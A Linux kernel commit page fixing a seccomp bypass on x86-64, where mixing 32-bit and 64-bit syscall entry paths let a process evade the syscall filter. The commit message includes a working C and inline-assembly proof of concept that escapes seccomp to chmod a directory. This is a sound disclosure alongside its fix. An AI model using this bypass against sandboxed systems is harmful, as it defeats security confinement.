diff options
author | Roland McGrath <roland@redhat.com> | 2009-02-28 02:25:54 -0500 |
---|---|---|
committer | Linus Torvalds <torvalds@linux-foundation.org> | 2009-03-02 18:41:30 -0500 |
commit | 5b1017404aea6d2e552e991b3fd814d839e9cd67 (patch) | |
tree | 8af3679beab1541d8c77afe28bc261196f03c083 /kernel/seccomp.c | |
parent | ccbe495caa5e604b04d5a31d7459a6f6a76a756c (diff) |
x86-64: seccomp: fix 32/64 syscall hole
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Diffstat (limited to 'kernel/seccomp.c')
-rw-r--r-- | kernel/seccomp.c | 7 |
1 files changed, 4 insertions, 3 deletions
diff --git a/kernel/seccomp.c b/kernel/seccomp.c index ad64fcb731f2..57d4b13b631d 100644 --- a/kernel/seccomp.c +++ b/kernel/seccomp.c | |||
@@ -8,6 +8,7 @@ | |||
8 | 8 | ||
9 | #include <linux/seccomp.h> | 9 | #include <linux/seccomp.h> |
10 | #include <linux/sched.h> | 10 | #include <linux/sched.h> |
11 | #include <linux/compat.h> | ||
11 | 12 | ||
12 | /* #define SECCOMP_DEBUG 1 */ | 13 | /* #define SECCOMP_DEBUG 1 */ |
13 | #define NR_SECCOMP_MODES 1 | 14 | #define NR_SECCOMP_MODES 1 |
@@ -22,7 +23,7 @@ static int mode1_syscalls[] = { | |||
22 | 0, /* null terminated */ | 23 | 0, /* null terminated */ |
23 | }; | 24 | }; |
24 | 25 | ||
25 | #ifdef TIF_32BIT | 26 | #ifdef CONFIG_COMPAT |
26 | static int mode1_syscalls_32[] = { | 27 | static int mode1_syscalls_32[] = { |
27 | __NR_seccomp_read_32, __NR_seccomp_write_32, __NR_seccomp_exit_32, __NR_seccomp_sigreturn_32, | 28 | __NR_seccomp_read_32, __NR_seccomp_write_32, __NR_seccomp_exit_32, __NR_seccomp_sigreturn_32, |
28 | 0, /* null terminated */ | 29 | 0, /* null terminated */ |
@@ -37,8 +38,8 @@ void __secure_computing(int this_syscall) | |||
37 | switch (mode) { | 38 | switch (mode) { |
38 | case 1: | 39 | case 1: |
39 | syscall = mode1_syscalls; | 40 | syscall = mode1_syscalls; |
40 | #ifdef TIF_32BIT | 41 | #ifdef CONFIG_COMPAT |
41 | if (test_thread_flag(TIF_32BIT)) | 42 | if (is_compat_task()) |
42 | syscall = mode1_syscalls_32; | 43 | syscall = mode1_syscalls_32; |
43 | #endif | 44 | #endif |
44 | do { | 45 | do { |